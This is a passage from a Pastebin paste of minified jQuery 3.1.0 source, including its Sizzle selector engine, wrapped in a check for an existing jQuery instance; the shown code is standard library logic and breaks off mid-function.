Advertisement
Guest User

Untitled

a guest
Dec 7th, 2016
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 187.12 KB | None | 0 0
  1. if (!window.jQuery) {
  2.  
  3. ! function(a, b) {
  4. "use strict";
  5. "object" == typeof module && "object" == typeof module.exports ? module.exports = a.document ? b(a, !0) : function(a) {
  6. if (!a.document) throw new Error("jQuery requires a window with a document");
  7. return b(a)
  8. } : b(a)
  9. }("undefined" != typeof window ? window : this, function(a, b) {
  10. "use strict";
  11. var c = [],
  12. d = a.document,
  13. e = Object.getPrototypeOf,
  14. f = c.slice,
  15. g = c.concat,
  16. h = c.push,
  17. i = c.indexOf,
  18. j = {},
  19. k = j.toString,
  20. l = j.hasOwnProperty,
  21. m = l.toString,
  22. n = m.call(Object),
  23. o = {};
  24.  
  25. function p(a, b) {
  26. b = b || d;
  27. var c = b.createElement("script");
  28. c.text = a, b.head.appendChild(c).parentNode.removeChild(c)
  29. }
  30. var q = "3.1.0",
  31. r = function(a, b) {
  32. return new r.fn.init(a, b)
  33. },
  34. s = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
  35. t = /^-ms-/,
  36. u = /-([a-z])/g,
  37. v = function(a, b) {
  38. return b.toUpperCase()
  39. };
  40. r.fn = r.prototype = {
  41. jquery: q,
  42. constructor: r,
  43. length: 0,
  44. toArray: function() {
  45. return f.call(this)
  46. },
  47. get: function(a) {
  48. return null != a ? a < 0 ? this[a + this.length] : this[a] : f.call(this)
  49. },
  50. pushStack: function(a) {
  51. var b = r.merge(this.constructor(), a);
  52. return b.prevObject = this, b
  53. },
  54. each: function(a) {
  55. return r.each(this, a)
  56. },
  57. map: function(a) {
  58. return this.pushStack(r.map(this, function(b, c) {
  59. return a.call(b, c, b)
  60. }))
  61. },
  62. slice: function() {
  63. return this.pushStack(f.apply(this, arguments))
  64. },
  65. first: function() {
  66. return this.eq(0)
  67. },
  68. last: function() {
  69. return this.eq(-1)
  70. },
  71. eq: function(a) {
  72. var b = this.length,
  73. c = +a + (a < 0 ? b : 0);
  74. return this.pushStack(c >= 0 && c < b ? [this[c]] : [])
  75. },
  76. end: function() {
  77. return this.prevObject || this.constructor()
  78. },
  79. push: h,
  80. sort: c.sort,
  81. splice: c.splice
  82. }, r.extend = r.fn.extend = function() {
  83. var a, b, c, d, e, f, g = arguments[0] || {},
  84. h = 1,
  85. i = arguments.length,
  86. j = !1;
  87. for ("boolean" == typeof g && (j = g, g = arguments[h] || {}, h++), "object" == typeof g || r.isFunction(g) || (g = {}), h === i && (g = this, h--); h < i; h++)
  88. if (null != (a = arguments[h]))
  89. for (b in a) c = g[b], d = a[b], g !== d && (j && d && (r.isPlainObject(d) || (e = r.isArray(d))) ? (e ? (e = !1, f = c && r.isArray(c) ? c : []) : f = c && r.isPlainObject(c) ? c : {}, g[b] = r.extend(j, f, d)) : void 0 !== d && (g[b] = d));
  90. return g
  91. }, r.extend({
  92. expando: "jQuery" + (q + Math.random()).replace(/\D/g, ""),
  93. isReady: !0,
  94. error: function(a) {
  95. throw new Error(a)
  96. },
  97. noop: function() {},
  98. isFunction: function(a) {
  99. return "function" === r.type(a)
  100. },
  101. isArray: Array.isArray,
  102. isWindow: function(a) {
  103. return null != a && a === a.window
  104. },
  105. isNumeric: function(a) {
  106. var b = r.type(a);
  107. return ("number" === b || "string" === b) && !isNaN(a - parseFloat(a))
  108. },
  109. isPlainObject: function(a) {
  110. var b, c;
  111. return !(!a || "[object Object]" !== k.call(a)) && (!(b = e(a)) || (c = l.call(b, "constructor") && b.constructor, "function" == typeof c && m.call(c) === n))
  112. },
  113. isEmptyObject: function(a) {
  114. var b;
  115. for (b in a) return !1;
  116. return !0
  117. },
  118. type: function(a) {
  119. return null == a ? a + "" : "object" == typeof a || "function" == typeof a ? j[k.call(a)] || "object" : typeof a
  120. },
  121. globalEval: function(a) {
  122. p(a)
  123. },
  124. camelCase: function(a) {
  125. return a.replace(t, "ms-").replace(u, v)
  126. },
  127. nodeName: function(a, b) {
  128. return a.nodeName && a.nodeName.toLowerCase() === b.toLowerCase()
  129. },
  130. each: function(a, b) {
  131. var c, d = 0;
  132. if (w(a)) {
  133. for (c = a.length; d < c; d++)
  134. if (b.call(a[d], d, a[d]) === !1) break
  135. } else
  136. for (d in a)
  137. if (b.call(a[d], d, a[d]) === !1) break; return a
  138. },
  139. trim: function(a) {
  140. return null == a ? "" : (a + "").replace(s, "")
  141. },
  142. makeArray: function(a, b) {
  143. var c = b || [];
  144. return null != a && (w(Object(a)) ? r.merge(c, "string" == typeof a ? [a] : a) : h.call(c, a)), c
  145. },
  146. inArray: function(a, b, c) {
  147. return null == b ? -1 : i.call(b, a, c)
  148. },
  149. merge: function(a, b) {
  150. for (var c = +b.length, d = 0, e = a.length; d < c; d++) a[e++] = b[d];
  151. return a.length = e, a
  152. },
  153. grep: function(a, b, c) {
  154. for (var d, e = [], f = 0, g = a.length, h = !c; f < g; f++) d = !b(a[f], f), d !== h && e.push(a[f]);
  155. return e
  156. },
  157. map: function(a, b, c) {
  158. var d, e, f = 0,
  159. h = [];
  160. if (w(a))
  161. for (d = a.length; f < d; f++) e = b(a[f], f, c), null != e && h.push(e);
  162. else
  163. for (f in a) e = b(a[f], f, c), null != e && h.push(e);
  164. return g.apply([], h)
  165. },
  166. guid: 1,
  167. proxy: function(a, b) {
  168. var c, d, e;
  169. if ("string" == typeof b && (c = a[b], b = a, a = c), r.isFunction(a)) return d = f.call(arguments, 2), e = function() {
  170. return a.apply(b || this, d.concat(f.call(arguments)))
  171. }, e.guid = a.guid = a.guid || r.guid++, e
  172. },
  173. now: Date.now,
  174. support: o
  175. }), "function" == typeof Symbol && (r.fn[Symbol.iterator] = c[Symbol.iterator]), r.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "), function(a, b) {
  176. j["[object " + b + "]"] = b.toLowerCase()
  177. });
  178.  
  179. function w(a) {
  180. var b = !!a && "length" in a && a.length,
  181. c = r.type(a);
  182. return "function" !== c && !r.isWindow(a) && ("array" === c || 0 === b || "number" == typeof b && b > 0 && b - 1 in a)
  183. }
  184. var x = function(a) {
  185. var b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, q, r, s, t, u = "sizzle" + 1 * new Date,
  186. v = a.document,
  187. w = 0,
  188. x = 0,
  189. y = ha(),
  190. z = ha(),
  191. A = ha(),
  192. B = function(a, b) {
  193. return a === b && (l = !0), 0
  194. },
  195. C = {}.hasOwnProperty,
  196. D = [],
  197. E = D.pop,
  198. F = D.push,
  199. G = D.push,
  200. H = D.slice,
  201. I = function(a, b) {
  202. for (var c = 0, d = a.length; c < d; c++)
  203. if (a[c] === b) return c;
  204. return -1
  205. },
  206. J = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
  207. K = "[\\x20\\t\\r\\n\\f]",
  208. L = "(?:\\\\.|[\\w-]|[^\0-\\xa0])+",
  209. M = "\\[" + K + "*(" + L + ")(?:" + K + "*([*^$|!~]?=)" + K + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + L + "))|)" + K + "*\\]",
  210. N = ":(" + L + ")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|" + M + ")*)|.*)\\)|)",
  211. O = new RegExp(K + "+", "g"),
  212. P = new RegExp("^" + K + "+|((?:^|[^\\\\])(?:\\\\.)*)" + K + "+$", "g"),
  213. Q = new RegExp("^" + K + "*," + K + "*"),
  214. R = new RegExp("^" + K + "*([>+~]|" + K + ")" + K + "*"),
  215. S = new RegExp("=" + K + "*([^\\]'\"]*?)" + K + "*\\]", "g"),
  216. T = new RegExp(N),
  217. U = new RegExp("^" + L + "$"),
  218. V = {
  219. ID: new RegExp("^#(" + L + ")"),
  220. CLASS: new RegExp("^\\.(" + L + ")"),
  221. TAG: new RegExp("^(" + L + "|[*])"),
  222. ATTR: new RegExp("^" + M),
  223. PSEUDO: new RegExp("^" + N),
  224. CHILD: new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + K + "*(even|odd|(([+-]|)(\\d*)n|)" + K + "*(?:([+-]|)" + K + "*(\\d+)|))" + K + "*\\)|)", "i"),
  225. bool: new RegExp("^(?:" + J + ")$", "i"),
  226. needsContext: new RegExp("^" + K + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + K + "*((?:-\\d)?\\d*)" + K + "*\\)|)(?=[^-]|$)", "i")
  227. },
  228. W = /^(?:input|select|textarea|button)$/i,
  229. X = /^h\d$/i,
  230. Y = /^[^{]+\{\s*\[native \w/,
  231. Z = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
  232. $ = /[+~]/,
  233. _ = new RegExp("\\\\([\\da-f]{1,6}" + K + "?|(" + K + ")|.)", "ig"),
  234. aa = function(a, b, c) {
  235. var d = "0x" + b - 65536;
  236. return d !== d || c ? b : d < 0 ? String.fromCharCode(d + 65536) : String.fromCharCode(d >> 10 | 55296, 1023 & d | 56320)
  237. },
  238. ba = /([\0-\x1f\x7f]|^-?\d)|^-$|[^\x80-\uFFFF\w-]/g,
  239. ca = function(a, b) {
  240. return b ? "\0" === a ? "\ufffd" : a.slice(0, -1) + "\\" + a.charCodeAt(a.length - 1).toString(16) + " " : "\\" + a
  241. },
  242. da = function() {
  243. m()
  244. },
  245. ea = ta(function(a) {
  246. return a.disabled === !0
  247. }, {
  248. dir: "parentNode",
  249. next: "legend"
  250. });
  251. try {
  252. G.apply(D = H.call(v.childNodes), v.childNodes), D[v.childNodes.length].nodeType
  253. } catch (fa) {
  254. G = {
  255. apply: D.length ? function(a, b) {
  256. F.apply(a, H.call(b))
  257. } : function(a, b) {
  258. var c = a.length,
  259. d = 0;
  260. while (a[c++] = b[d++]);
  261. a.length = c - 1
  262. }
  263. }
  264. }
  265.  
  266. function ga(a, b, d, e) {
  267. var f, h, j, k, l, o, r, s = b && b.ownerDocument,
  268. w = b ? b.nodeType : 9;
  269. if (d = d || [], "string" != typeof a || !a || 1 !== w && 9 !== w && 11 !== w) return d;
  270. if (!e && ((b ? b.ownerDocument || b : v) !== n && m(b), b = b || n, p)) {
  271. if (11 !== w && (l = Z.exec(a)))
  272. if (f = l[1]) {
  273. if (9 === w) {
  274. if (!(j = b.getElementById(f))) return d;
  275. if (j.id === f) return d.push(j), d
  276. } else if (s && (j = s.getElementById(f)) && t(b, j) && j.id === f) return d.push(j), d
  277. } else {
  278. if (l[2]) return G.apply(d, b.getElementsByTagName(a)), d;
  279. if ((f = l[3]) && c.getElementsByClassName && b.getElementsByClassName) return G.apply(d, b.getElementsByClassName(f)), d
  280. }
  281. if (c.qsa && !A[a + " "] && (!q || !q.test(a))) {
  282. if (1 !== w) s = b, r = a;
  283. else if ("object" !== b.nodeName.toLowerCase()) {
  284. (k = b.getAttribute("id")) ? k = k.replace(ba, ca): b.setAttribute("id", k = u), o = g(a), h = o.length;
  285. while (h--) o[h] = "#" + k + " " + sa(o[h]);
  286. r = o.join(","), s = $.test(a) && qa(b.parentNode) || b
  287. }
  288. if (r) try {
  289. return G.apply(d, s.querySelectorAll(r)), d
  290. } catch (x) {} finally {
  291. k === u && b.removeAttribute("id")
  292. }
  293. }
  294. }
  295. return i(a.replace(P, "$1"), b, d, e)
  296. }
  297.  
  298. function ha() {
  299. var a = [];
  300.  
  301. function b(c, e) {
  302. return a.push(c + " ") > d.cacheLength && delete b[a.shift()], b[c + " "] = e
  303. }
  304. return b
  305. }
  306.  
  307. function ia(a) {
  308. return a[u] = !0, a
  309. }
  310.  
  311. function ja(a) {
  312. var b = n.createElement("fieldset");
  313. try {
  314. return !!a(b)
  315. } catch (c) {
  316. return !1
  317. } finally {
  318. b.parentNode && b.parentNode.removeChild(b), b = null
  319. }
  320. }
  321.  
  322. function ka(a, b) {
  323. var c = a.split("|"),
  324. e = c.length;
  325. while (e--) d.attrHandle[c[e]] = b
  326. }
  327.  
  328. function la(a, b) {
  329. var c = b && a,
  330. d = c && 1 === a.nodeType && 1 === b.nodeType && a.sourceIndex - b.sourceIndex;
  331. if (d) return d;
  332. if (c)
  333. while (c = c.nextSibling)
  334. if (c === b) return -1;
  335. return a ? 1 : -1
  336. }
  337.  
  338. function ma(a) {
  339. return function(b) {
  340. var c = b.nodeName.toLowerCase();
  341. return "input" === c && b.type === a
  342. }
  343. }
  344.  
  345. function na(a) {
  346. return function(b) {
  347. var c = b.nodeName.toLowerCase();
  348. return ("input" === c || "button" === c) && b.type === a
  349. }
  350. }
  351.  
  352. function oa(a) {
  353. return function(b) {
  354. return "label" in b && b.disabled === a || "form" in b && b.disabled === a || "form" in b && b.disabled === !1 && (b.isDisabled === a || b.isDisabled !== !a && ("label" in b || !ea(b)) !== a)
  355. }
  356. }
  357.  
  358. function pa(a) {
  359. return ia(function(b) {
  360. return b = +b, ia(function(c, d) {
  361. var e, f = a([], c.length, b),
  362. g = f.length;
  363. while (g--) c[e = f[g]] && (c[e] = !(d[e] = c[e]))
  364. })
  365. })
  366. }
  367.  
  368. function qa(a) {
  369. return a && "undefined" != typeof a.getElementsByTagName && a
  370. }
  371. c = ga.support = {}, f = ga.isXML = function(a) {
  372. var b = a && (a.ownerDocument || a).documentElement;
  373. return !!b && "HTML" !== b.nodeName
  374. }, m = ga.setDocument = function(a) {
  375. var b, e, g = a ? a.ownerDocument || a : v;
  376. return g !== n && 9 === g.nodeType && g.documentElement ? (n = g, o = n.documentElement, p = !f(n), v !== n && (e = n.defaultView) && e.top !== e && (e.addEventListener ? e.addEventListener("unload", da, !1) : e.attachEvent && e.attachEvent("onunload", da)), c.attributes = ja(function(a) {
  377. return a.className = "i", !a.getAttribute("className")
  378. }), c.getElementsByTagName = ja(function(a) {
  379. return a.appendChild(n.createComment("")), !a.getElementsByTagName("*").length
  380. }), c.getElementsByClassName = Y.test(n.getElementsByClassName), c.getById = ja(function(a) {
  381. return o.appendChild(a).id = u, !n.getElementsByName || !n.getElementsByName(u).length
  382. }), c.getById ? (d.find.ID = function(a, b) {
  383. if ("undefined" != typeof b.getElementById && p) {
  384. var c = b.getElementById(a);
  385. return c ? [c] : []
  386. }
  387. }, d.filter.ID = function(a) {
  388. var b = a.replace(_, aa);
  389. return function(a) {
  390. return a.getAttribute("id") === b
  391. }
  392. }) : (delete d.find.ID, d.filter.ID = function(a) {
  393. var b = a.replace(_, aa);
  394. return function(a) {
  395. var c = "undefined" != typeof a.getAttributeNode && a.getAttributeNode("id");
  396. return c && c.value === b
  397. }
  398. }), d.find.TAG = c.getElementsByTagName ? function(a, b) {
  399. return "undefined" != typeof b.getElementsByTagName ? b.getElementsByTagName(a) : c.qsa ? b.querySelectorAll(a) : void 0
  400. } : function(a, b) {
  401. var c, d = [],
  402. e = 0,
  403. f = b.getElementsByTagName(a);
  404. if ("*" === a) {
  405. while (c = f[e++]) 1 === c.nodeType && d.push(c);
  406. return d
  407. }
  408. return f
  409. }, d.find.CLASS = c.getElementsByClassName && function(a, b) {
  410. if ("undefined" != typeof b.getElementsByClassName && p) return b.getElementsByClassName(a)
  411. }, r = [], q = [], (c.qsa = Y.test(n.querySelectorAll)) && (ja(function(a) {
  412. o.appendChild(a).innerHTML = "<a id='" + u + "'></a><select id='" + u + "-\r\\' msallowcapture=''><option selected=''></option></select>", a.querySelectorAll("[msallowcapture^='']").length && q.push("[*^$]=" + K + "*(?:''|\"\")"), a.querySelectorAll("[selected]").length || q.push("\\[" + K + "*(?:value|" + J + ")"), a.querySelectorAll("[id~=" + u + "-]").length || q.push("~="), a.querySelectorAll(":checked").length || q.push(":checked"), a.querySelectorAll("a#" + u + "+*").length || q.push(".#.+[+~]")
  413. }), ja(function(a) {
  414. a.innerHTML = "<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>";
  415. var b = n.createElement("input");
  416. b.setAttribute("type", "hidden"), a.appendChild(b).setAttribute("name", "D"), a.querySelectorAll("[name=d]").length && q.push("name" + K + "*[*^$|!~]?="), 2 !== a.querySelectorAll(":enabled").length && q.push(":enabled", ":disabled"), o.appendChild(a).disabled = !0, 2 !== a.querySelectorAll(":disabled").length && q.push(":enabled", ":disabled"), a.querySelectorAll("*,:x"), q.push(",.*:")
  417. })), (c.matchesSelector = Y.test(s = o.matches || o.webkitMatchesSelector || o.mozMatchesSelector || o.oMatchesSelector || o.msMatchesSelector)) && ja(function(a) {
  418. c.disconnectedMatch = s.call(a, "*"), s.call(a, "[s!='']:x"), r.push("!=", N)
  419. }), q = q.length && new RegExp(q.join("|")), r = r.length && new RegExp(r.join("|")), b = Y.test(o.compareDocumentPosition), t = b || Y.test(o.contains) ? function(a, b) {
  420. var c = 9 === a.nodeType ? a.documentElement : a,
  421. d = b && b.parentNode;
  422. return a === d || !(!d || 1 !== d.nodeType || !(c.contains ? c.contains(d) : a.compareDocumentPosition && 16 & a.compareDocumentPosition(d)))
  423. } : function(a, b) {
  424. if (b)
  425. while (b = b.parentNode)
  426. if (b === a) return !0;
  427. return !1
  428. }, B = b ? function(a, b) {
  429. if (a === b) return l = !0, 0;
  430. var d = !a.compareDocumentPosition - !b.compareDocumentPosition;
  431. return d ? d : (d = (a.ownerDocument || a) === (b.ownerDocument || b) ? a.compareDocumentPosition(b) : 1, 1 & d || !c.sortDetached && b.compareDocumentPosition(a) === d ? a === n || a.ownerDocument === v && t(v, a) ? -1 : b === n || b.ownerDocument === v && t(v, b) ? 1 : k ? I(k, a) - I(k, b) : 0 : 4 & d ? -1 : 1)
  432. } : function(a, b) {
  433. if (a === b) return l = !0, 0;
  434. var c, d = 0,
  435. e = a.parentNode,
  436. f = b.parentNode,
  437. g = [a],
  438. h = [b];
  439. if (!e || !f) return a === n ? -1 : b === n ? 1 : e ? -1 : f ? 1 : k ? I(k, a) - I(k, b) : 0;
  440. if (e === f) return la(a, b);
  441. c = a;
  442. while (c = c.parentNode) g.unshift(c);
  443. c = b;
  444. while (c = c.parentNode) h.unshift(c);
  445. while (g[d] === h[d]) d++;
  446. return d ? la(g[d], h[d]) : g[d] === v ? -1 : h[d] === v ? 1 : 0
  447. }, n) : n
  448. }, ga.matches = function(a, b) {
  449. return ga(a, null, null, b)
  450. }, ga.matchesSelector = function(a, b) {
  451. if ((a.ownerDocument || a) !== n && m(a), b = b.replace(S, "='$1']"), c.matchesSelector && p && !A[b + " "] && (!r || !r.test(b)) && (!q || !q.test(b))) try {
  452. var d = s.call(a, b);
  453. if (d || c.disconnectedMatch || a.document && 11 !== a.document.nodeType) return d
  454. } catch (e) {}
  455. return ga(b, n, null, [a]).length > 0
  456. }, ga.contains = function(a, b) {
  457. return (a.ownerDocument || a) !== n && m(a), t(a, b)
  458. }, ga.attr = function(a, b) {
  459. (a.ownerDocument || a) !== n && m(a);
  460. var e = d.attrHandle[b.toLowerCase()],
  461. f = e && C.call(d.attrHandle, b.toLowerCase()) ? e(a, b, !p) : void 0;
  462. return void 0 !== f ? f : c.attributes || !p ? a.getAttribute(b) : (f = a.getAttributeNode(b)) && f.specified ? f.value : null
  463. }, ga.escape = function(a) {
  464. return (a + "").replace(ba, ca)
  465. }, ga.error = function(a) {
  466. throw new Error("Syntax error, unrecognized expression: " + a)
  467. }, ga.uniqueSort = function(a) {
  468. var b, d = [],
  469. e = 0,
  470. f = 0;
  471. if (l = !c.detectDuplicates, k = !c.sortStable && a.slice(0), a.sort(B), l) {
  472. while (b = a[f++]) b === a[f] && (e = d.push(f));
  473. while (e--) a.splice(d[e], 1)
  474. }
  475. return k = null, a
  476. }, e = ga.getText = function(a) {
  477. var b, c = "",
  478. d = 0,
  479. f = a.nodeType;
  480. if (f) {
  481. if (1 === f || 9 === f || 11 === f) {
  482. if ("string" == typeof a.textContent) return a.textContent;
  483. for (a = a.firstChild; a; a = a.nextSibling) c += e(a)
  484. } else if (3 === f || 4 === f) return a.nodeValue
  485. } else
  486. while (b = a[d++]) c += e(b);
  487. return c
  488. }, d = ga.selectors = {
  489. cacheLength: 50,
  490. createPseudo: ia,
  491. match: V,
  492. attrHandle: {},
  493. find: {},
  494. relative: {
  495. ">": {
  496. dir: "parentNode",
  497. first: !0
  498. },
  499. " ": {
  500. dir: "parentNode"
  501. },
  502. "+": {
  503. dir: "previousSibling",
  504. first: !0
  505. },
  506. "~": {
  507. dir: "previousSibling"
  508. }
  509. },
  510. preFilter: {
  511. ATTR: function(a) {
  512. return a[1] = a[1].replace(_, aa), a[3] = (a[3] || a[4] || a[5] || "").replace(_, aa), "~=" === a[2] && (a[3] = " " + a[3] + " "), a.slice(0, 4)
  513. },
  514. CHILD: function(a) {
  515. return a[1] = a[1].toLowerCase(), "nth" === a[1].slice(0, 3) ? (a[3] || ga.error(a[0]), a[4] = +(a[4] ? a[5] + (a[6] || 1) : 2 * ("even" === a[3] || "odd" === a[3])), a[5] = +(a[7] + a[8] || "odd" === a[3])) : a[3] && ga.error(a[0]), a
  516. },
  517. PSEUDO: function(a) {
  518. var b, c = !a[6] && a[2];
  519. return V.CHILD.test(a[0]) ? null : (a[3] ? a[2] = a[4] || a[5] || "" : c && T.test(c) && (b = g(c, !0)) && (b = c.indexOf(")", c.length - b) - c.length) && (a[0] = a[0].slice(0, b), a[2] = c.slice(0, b)), a.slice(0, 3))
  520. }
  521. },
  522. filter: {
  523. TAG: function(a) {
  524. var b = a.replace(_, aa).toLowerCase();
  525. return "*" === a ? function() {
  526. return !0
  527. } : function(a) {
  528. return a.nodeName && a.nodeName.toLowerCase() === b
  529. }
  530. },
  531. CLASS: function(a) {
  532. var b = y[a + " "];
  533. return b || (b = new RegExp("(^|" + K + ")" + a + "(" + K + "|$)")) && y(a, function(a) {
  534. return b.test("string" == typeof a.className && a.className || "undefined" != typeof a.getAttribute && a.getAttribute("class") || "")
  535. })
  536. },
  537. ATTR: function(a, b, c) {
  538. return function(d) {
  539. var e = ga.attr(d, a);
  540. return null == e ? "!=" === b : !b || (e += "", "=" === b ? e === c : "!=" === b ? e !== c : "^=" === b ? c && 0 === e.indexOf(c) : "*=" === b ? c && e.indexOf(c) > -1 : "$=" === b ? c && e.slice(-c.length) === c : "~=" === b ? (" " + e.replace(O, " ") + " ").indexOf(c) > -1 : "|=" === b && (e === c || e.slice(0, c.length + 1) === c + "-"))
  541. }
  542. },
  543. CHILD: function(a, b, c, d, e) {
  544. var f = "nth" !== a.slice(0, 3),
  545. g = "last" !== a.slice(-4),
  546. h = "of-type" === b;
  547. return 1 === d && 0 === e ? function(a) {
  548. return !!a.parentNode
  549. } : function(b, c, i) {
  550. var j, k, l, m, n, o, p = f !== g ? "nextSibling" : "previousSibling",
  551. q = b.parentNode,
  552. r = h && b.nodeName.toLowerCase(),
  553. s = !i && !h,
  554. t = !1;
  555. if (q) {
  556. if (f) {
  557. while (p) {
  558. m = b;
  559. while (m = m[p])
  560. if (h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType) return !1;
  561. o = p = "only" === a && !o && "nextSibling"
  562. }
  563. return !0
  564. }
  565. if (o = [g ? q.firstChild : q.lastChild], g && s) {
  566. m = q, l = m[u] || (m[u] = {}), k = l[m.uniqueID] || (l[m.uniqueID] = {}), j = k[a] || [], n = j[0] === w && j[1], t = n && j[2], m = n && q.childNodes[n];
  567. while (m = ++n && m && m[p] || (t = n = 0) || o.pop())
  568. if (1 === m.nodeType && ++t && m === b) {
  569. k[a] = [w, n, t];
  570. break
  571. }
  572. } else if (s && (m = b, l = m[u] || (m[u] = {}), k = l[m.uniqueID] || (l[m.uniqueID] = {}), j = k[a] || [], n = j[0] === w && j[1], t = n), t === !1)
  573. while (m = ++n && m && m[p] || (t = n = 0) || o.pop())
  574. if ((h ? m.nodeName.toLowerCase() === r : 1 === m.nodeType) && ++t && (s && (l = m[u] || (m[u] = {}), k = l[m.uniqueID] || (l[m.uniqueID] = {}), k[a] = [w, t]), m === b)) break;
  575. return t -= e, t === d || t % d === 0 && t / d >= 0
  576. }
  577. }
  578. },
  579. PSEUDO: function(a, b) {
  580. var c, e = d.pseudos[a] || d.setFilters[a.toLowerCase()] || ga.error("unsupported pseudo: " + a);
  581. return e[u] ? e(b) : e.length > 1 ? (c = [a, a, "", b], d.setFilters.hasOwnProperty(a.toLowerCase()) ? ia(function(a, c) {
  582. var d, f = e(a, b),
  583. g = f.length;
  584. while (g--) d = I(a, f[g]), a[d] = !(c[d] = f[g])
  585. }) : function(a) {
  586. return e(a, 0, c)
  587. }) : e
  588. }
  589. },
  590. pseudos: {
  591. not: ia(function(a) {
  592. var b = [],
  593. c = [],
  594. d = h(a.replace(P, "$1"));
  595. return d[u] ? ia(function(a, b, c, e) {
  596. var f, g = d(a, null, e, []),
  597. h = a.length;
  598. while (h--)(f = g[h]) && (a[h] = !(b[h] = f))
  599. }) : function(a, e, f) {
  600. return b[0] = a, d(b, null, f, c), b[0] = null, !c.pop()
  601. }
  602. }),
  603. has: ia(function(a) {
  604. return function(b) {
  605. return ga(a, b).length > 0
  606. }
  607. }),
  608. contains: ia(function(a) {
  609. return a = a.replace(_, aa),
  610. function(b) {
  611. return (b.textContent || b.innerText || e(b)).indexOf(a) > -1
  612. }
  613. }),
  614. lang: ia(function(a) {
  615. return U.test(a || "") || ga.error("unsupported lang: " + a), a = a.replace(_, aa).toLowerCase(),
  616. function(b) {
  617. var c;
  618. do
  619. if (c = p ? b.lang : b.getAttribute("xml:lang") || b.getAttribute("lang")) return c = c.toLowerCase(), c === a || 0 === c.indexOf(a + "-");
  620. while ((b = b.parentNode) && 1 === b.nodeType);
  621. return !1
  622. }
  623. }),
  624. target: function(b) {
  625. var c = a.location && a.location.hash;
  626. return c && c.slice(1) === b.id
  627. },
  628. root: function(a) {
  629. return a === o
  630. },
  631. focus: function(a) {
  632. return a === n.activeElement && (!n.hasFocus || n.hasFocus()) && !!(a.type || a.href || ~a.tabIndex)
  633. },
  634. enabled: oa(!1),
  635. disabled: oa(!0),
  636. checked: function(a) {
  637. var b = a.nodeName.toLowerCase();
  638. return "input" === b && !!a.checked || "option" === b && !!a.selected
  639. },
  640. selected: function(a) {
  641. return a.parentNode && a.parentNode.selectedIndex, a.selected === !0
  642. },
  643. empty: function(a) {
  644. for (a = a.firstChild; a; a = a.nextSibling)
  645. if (a.nodeType < 6) return !1;
  646. return !0
  647. },
  648. parent: function(a) {
  649. return !d.pseudos.empty(a)
  650. },
  651. header: function(a) {
  652. return X.test(a.nodeName)
  653. },
  654. input: function(a) {
  655. return W.test(a.nodeName)
  656. },
  657. button: function(a) {
  658. var b = a.nodeName.toLowerCase();
  659. return "input" === b && "button" === a.type || "button" === b
  660. },
  661. text: function(a) {
  662. var b;
  663. return "input" === a.nodeName.toLowerCase() && "text" === a.type && (null == (b = a.getAttribute("type")) || "text" === b.toLowerCase())
  664. },
  665. first: pa(function() {
  666. return [0]
  667. }),
  668. last: pa(function(a, b) {
  669. return [b - 1]
  670. }),
  671. eq: pa(function(a, b, c) {
  672. return [c < 0 ? c + b : c]
  673. }),
  674. even: pa(function(a, b) {
  675. for (var c = 0; c < b; c += 2) a.push(c);
  676. return a
  677. }),
  678. odd: pa(function(a, b) {
  679. for (var c = 1; c < b; c += 2) a.push(c);
  680. return a
  681. }),
  682. lt: pa(function(a, b, c) {
  683. for (var d = c < 0 ? c + b : c; --d >= 0;) a.push(d);
  684. return a
  685. }),
  686. gt: pa(function(a, b, c) {
  687. for (var d = c < 0 ? c + b : c; ++d < b;) a.push(d);
  688. return a
  689. })
  690. }
  691. }, d.pseudos.nth = d.pseudos.eq;
  692. for (b in {
  693. radio: !0,
  694. checkbox: !0,
  695. file: !0,
  696. password: !0,
  697. image: !0
  698. }) d.pseudos[b] = ma(b);
  699. for (b in {
  700. submit: !0,
  701. reset: !0
  702. }) d.pseudos[b] = na(b);
  703.  
  704. function ra() {}
  705. ra.prototype = d.filters = d.pseudos, d.setFilters = new ra, g = ga.tokenize = function(a, b) {
  706. var c, e, f, g, h, i, j, k = z[a + " "];
  707. if (k) return b ? 0 : k.slice(0);
  708. h = a, i = [], j = d.preFilter;
  709. while (h) {
  710. c && !(e = Q.exec(h)) || (e && (h = h.slice(e[0].length) || h), i.push(f = [])), c = !1, (e = R.exec(h)) && (c = e.shift(), f.push({
  711. value: c,
  712. type: e[0].replace(P, " ")
  713. }), h = h.slice(c.length));
  714. for (g in d.filter) !(e = V[g].exec(h)) || j[g] && !(e = j[g](e)) || (c = e.shift(), f.push({
  715. value: c,
  716. type: g,
  717. matches: e
  718. }), h = h.slice(c.length));
  719. if (!c) break
  720. }
  721. return b ? h.length : h ? ga.error(a) : z(a, i).slice(0)
  722. };
  723.  
  724. function sa(a) {
  725. for (var b = 0, c = a.length, d = ""; b < c; b++) d += a[b].value;
  726. return d
  727. }
  728.  
  729. function ta(a, b, c) {
  730. var d = b.dir,
  731. e = b.next,
  732. f = e || d,
  733. g = c && "parentNode" === f,
  734. h = x++;
  735. return b.first ? function(b, c, e) {
  736. while (b = b[d])
  737. if (1 === b.nodeType || g) return a(b, c, e)
  738. } : function(b, c, i) {
  739. var j, k, l, m = [w, h];
  740. if (i) {
  741. while (b = b[d])
  742. if ((1 === b.nodeType || g) && a(b, c, i)) return !0
  743. } else
  744. while (b = b[d])
  745. if (1 === b.nodeType || g)
  746. if (l = b[u] || (b[u] = {}), k = l[b.uniqueID] || (l[b.uniqueID] = {}), e && e === b.nodeName.toLowerCase()) b = b[d] || b;
  747. else {
  748. if ((j = k[f]) && j[0] === w && j[1] === h) return m[2] = j[2];
  749. if (k[f] = m, m[2] = a(b, c, i)) return !0
  750. }
  751. }
  752. }
  753.  
  754. function ua(a) {
  755. return a.length > 1 ? function(b, c, d) {
